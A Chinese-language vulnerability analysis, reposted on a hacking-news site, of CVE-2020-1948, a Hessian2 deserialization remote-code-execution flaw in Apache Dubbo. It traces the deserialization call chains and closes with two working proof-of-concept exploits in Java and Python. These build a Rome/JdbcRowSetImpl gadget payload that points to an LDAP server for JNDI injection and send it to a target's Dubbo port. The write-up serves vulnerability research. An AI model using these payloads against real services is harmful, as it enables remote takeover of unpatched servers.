记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

【漏洞分析】CVE-2020-1948 Apache Dubbo 反序列化漏洞分析

2020-06-29 01:19

漏洞复现

Version:2.7.3 (dubbo-spring-boot-samples)
JDK:1.8.66
利用公开的Poc进行测试
noteattachment1
noteattachment2

无法命令执行的原因
*原因1 缺少 Rome依赖,在pom.xml中添加以下依赖

<dependency>    <groupId>com.rometools</groupId>     <artifactId>rome</artifactId>     <version>1.7.0</version></dependency>

*原因2 JDK版本问题,com.sun.rowset.JdbcRowSetImpl在JDK 6u132, 7u122, or 8u113及之后的版本被修复了,可以换低版本jdk尝试

漏洞分析

dubbo rpc 原理

noteattachment3
dubbo rpc默认使用org.apache.dubbo.common.serialize.hessian2.Hessian2Serialization#deserialize进行反序列化

dubbo rpc 反序列化调用链

断点调试
在报错处org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol.getInvoker和org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode 设置断点调试
noteattachment4
Hessian2Serialization
dubbo rpc默认使用org.apache.dubbo.common.serialize.hessian2.Hessian2Serialization#deserialize进行反序列化
noteattachment5
noteattachment6
dubbo rpc的反序列化调用链

org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol.getInvokerorg.apache.dubbo.rpc.protocol.dubbo.CallbackServiceCodec#decodeInvocationArgumentorg.apache.dubbo.rpc.RpcInvocation.toStringorg.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode(org.apache.dubbo.remoting.Channel, java.io.InputStream)org.apache.dubbo.common.serialize.Serializationorg.apache.dubbo.common.serialize.hessian2.Hessian2Serialization#deserializeorg.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInputcom.alibaba.com.caucho.hessian.io.Hessian2Input#readObject(java.lang.Class, java.lang.Class<?>...)com.alibaba.com.caucho.hessian.io.SerializerFactory#getObjectDeserializer(java.lang.String, java.lang.Class)com.alibaba.com.caucho.hessian.io.Deserializercom.alibaba.com.caucho.hessian.io.ClassDeserializer#readObjectcom.alibaba.com.caucho.hessian.io.JavaDeserializercom.alibaba.com.caucho.hessian.io.JavaDeserializer.FieldDeserializer#deserialize
关键部分分析
1. Hessian2Input#readObject

com.alibaba.com.caucho.hessian.io.Hessian2Input#readObject

@Override    public Object readObject(Class expectedClass, Class<?>... expectedTypes) throws IOException {        if (expectedClass == null || expectedClass == Object.class)            return readObject();        int tag = _offset < _length ? (_buffer[_offset++] & 0xff) : read();        switch (tag) {            case 'N':                return null;            case 'H': {                Deserializer reader = findSerializerFactory().getDeserializer(expectedClass);                boolean keyValuePair = expectedTypes != null && expectedTypes.length == 2;                // fix deserialize of short type                return reader.readMap(this                        , keyValuePair ? expectedTypes[0] : null                        , keyValuePair ? expectedTypes[1] : null);            }            case 'M': {                String type = readType();                // hessian/3bb3                if ("".equals(type)) {                    Deserializer reader;                    reader = findSerializerFactory().getDeserializer(expectedClass);                    return reader.readMap(this);                } else {                    Deserializer reader;                    reader = findSerializerFactory().getObjectDeserializer(type, expectedClass);                    return reader.readMap(this);                }            }            case 'C': {                readObjectDefinition(expectedClass);                return readObject(expectedClass);            }            case 0x60:            case 0x61:            case 0x62:            case 0x63:            case 0x64:            case 0x65:            case 0x66:            case 0x67:            case 0x68:            case 0x69:            case 0x6a:            case 0x6b:            case 0x6c:            case 0x6d:            case 0x6e:            case 0x6f: {                int ref = tag - 0x60;                int size = _classDefs.size();                if (ref < 0 || size <= ref)                    throw new HessianProtocolException("'" + ref + "' is an unknown class definition");                ObjectDefinition def = (ObjectDefinition) _classDefs.get(ref);                return readObjectInstance(expectedClass, def);            }

通过代码发现readObject是根据特定的tag进行相应的数据处理,其中
C为类定义,H为键值对,readObjectDefinition 会先对方法传入参数对应的class,进行类定义的读取,然后通过readObjectInstance对expectedClass的判断条件进行实例化
readObjectDefinition
noteattachment7
readObjectInstance
noteattachment8

2. RemotingException 利用

Rui0的一篇关于toString利用的文章中有提到利用Exception抛出异常输出时隐式调用了Rome的toString方法导致RCE
通过分析dubbo,发现如果程序运行异常也会通过
org.apache.dubbo.remoting.RemotingException抛错并在控制台输出,
noteattachment9
就可以先通过com.alibaba.com.caucho.hessian.io.Hessian2Input#readObjectInstancecom.rometools.rome.feed.impl.ToStringBeancom.sun.rowset.JdbcRowSetImpl 进行实例化,在通过Rome的toString方法调用JdbcRowSetImplorg.apache.dubbo.remoting.RemotingException抛错输出时进行JNDI注入
noteattachment10
RemotingException异常调用链

com.alibaba.com.caucho.hessian.io.Hessian2Input#readObjectcom.alibaba.com.caucho.hessian.io.Hessian2Input#readObjectInstance`com.alibaba.com.caucho.hessian.io.AbstractHessianInput#readObjectcom.alibaba.com.caucho.hessian.io.JavaDeserializer#readObjectcom.alibaba.com.caucho.hessian.io.Deserializer#readObjectcom.alibaba.com.caucho.hessian.io.JavaDeserializer.ObjectFieldDeserializer#deserializecom.alibaba.com.caucho.hessian.io.JavaDeserializer.FieldDeserializer#deserializecom.alibaba.com.caucho.hessian.io.JavaDeserializer#logDeserializeErrororg.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode(org.apache.dubbo.remoting.Channel, java.io.InputStream)org.apache.dubbo.rpc.protocol.dubbo.CallbackServiceCodec#decodeInvocationArgumentorg.apache.dubbo.remoting.RemotingExceptionorg.apache.dubbo.rpc.protocol.dubbo.DubboProtocol#getInvokerorg.apache.dubbo.rpc.RpcInvocation#setArgumentsorg.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode()org.apache.dubbo.remoting.exchange.Request#setDataorg.apache.dubbo.remoting.exchange.codec.ExchangeCodec#decodeBodyorg.apache.dubbo.remoting.transport.DecodeHandler#receivedorg.apache.dubbo.remoting.ChannelHandler#receivedorg.apache.dubbo.remoting.transport.dispatcher.ChannelEventRunnable#run
3. hessian2反序列化限制条件绕过

hessian2通过com.alibaba.com.caucho.hessian.io.JavaDeserializer 类来进行反序列化操作
noteattachment11
但是构造方法只有基本类型,没有任何的方法和属性那就只能利用
com.alibaba.com.caucho.hessian.io.JavaDeserializer#readObject(AbstractHessianInput in, String[] fieldNames)来进行反射
noteattachment12
利用com.alibaba.com.caucho.hessian.io.Hessian2Input#readObject的H tag通过HashMap触发key的hashCode方法实现反序列化
com.alibaba.com.caucho.hessian.io.MapDeserializer#doReadMap
noteattachment13
HashMap调用链

java.util.HashMap#hashjava.lang.Object#hashCodejava.util.HashMap#putcom.alibaba.com.caucho.hessian.io.MapDeserializer#doReadMapcom.alibaba.com.caucho.hessian.io.MapDeserializer#readMapcom.alibaba.com.caucho.hessian.io.Hessian2Input#readObjectorg.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput#readObjectorg.apache.dubbo.rpc.protocol.dubbo.DubboCodec.decodeBodycom.alibaba.com.caucho.hessian.io.SerializerFactory#getDeserializercom.alibaba.com.caucho.hessian.io.AbstractDeserializer#findSerializerFactoryorg.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode

构造Poc

通过以上分析,有2种反序列化RCE触发方法

1. 在刚传入序列化值时依赖Rome的toString方法通过构造HashMap触发key的hashCode实现反序列化2. 反序列化执行完成后,利用RemotingException抛出异常输出时隐式调用了Rome的toString方法导致RCE
Poc1:利用HashMap触发key的hashCode实现反序列化

Code

public class CVE_2020_1948_RomePoc {    public static void main(String[] args) throws Exception {        JdbcRowSetImpl rs = new JdbcRowSetImpl();        //todo 此处填写ldap url        rs.setDataSourceName("ldap://127.0.0.1:8078/Calc");        rs.setMatchColumn("foo");        Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null);        ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);        EqualsBean root = new EqualsBean(ToStringBean.class, item);        HashMap s = new HashMap<>();        Reflections.setFieldValue(s, "size", 2);        Class<?> nodeC;        try {            nodeC = Class.forName("java.util.HashMap$Node");        }        catch ( ClassNotFoundException e ) {            nodeC = Class.forName("java.util.HashMap$Entry");        }        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);        nodeCons.setAccessible(true);        Object tbl = Array.newInstance(nodeC, 2);        Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null));        Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null));        Reflections.setFieldValue(s, "table", tbl);        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();        // header.        byte[] header = new byte[16];        // set magic number.        Bytes.short2bytes((short) 0xdabb, header);        // set request and serialization flag.        header[2] = (byte) ((byte) 0x80 | 0x20 | 2);        // set request id.        Bytes.long2bytes(new Random().nextInt(100000000), header, 4);        ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();        Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream);        NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();        sf.setAllowNonSerializable(true);        out.setSerializerFactory(sf);        out.writeObject(s);        out.flushBuffer();        if (out instanceof Cleanable) {            ((Cleanable) out).cleanup();        }        Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);        byteArrayOutputStream.write(header);        byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());        byte[] bytes = byteArrayOutputStream.toByteArray();        //todo 此处填写被攻击的dubbo服务提供者地址和端口        Socket socket = new Socket("192.168.80.1", 12345);        OutputStream outputStream = socket.getOutputStream();        outputStream.write(bytes);        outputStream.flush();        outputStream.close();    }}

执行
noteattachment14

Poc2:利用RemotingException抛出异常输出时隐式调用Rome的toString方法RCE

Code

client = DubboClient('192.168.80.1', 12345)JdbcRowSetImpl=new_object('com.sun.rowset.JdbcRowSetImpl',dataSource="ldap://192.168.80.1:8078/Calc",strMatchColumns=["foo"])JdbcRowSetImplClass=new_object('java.lang.Class',name="com.sun.rowset.JdbcRowSetImpl",)toStringBean=new_object('com.rometools.rome.feed.impl.ToStringBean',beanClass=JdbcRowSetImplClass,obj=JdbcRowSetImpl)resp = client.send_request_and_return_response(service_name='cn.rui0',method_name='rce',args=[toStringBean])

执行
noteattachment15
两个方式触发RCE时报错对比
noteattachment16

参考

*https://www.mail-archive.com/dev@dubbo.apache.org/msg06544.html
*http://rui0.cn/archives/1338
*https://www.anquanke.com/post/id/197658



知识来源: www.ja0k.com/2020/06/28/【漏洞分析】CVE-2020-1948 Apache Dubbo RPC 反序列化漏洞分析/

阅读:32574 | 评论:0 | 标签:漏洞 CVE

想收藏或者和大家分享这篇好文章→复制链接地址

“【漏洞分析】CVE-2020-1948 Apache Dubbo 反序列化漏洞分析”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

❤人人都能成为掌握黑客技术的英雄❤

ADS

标签云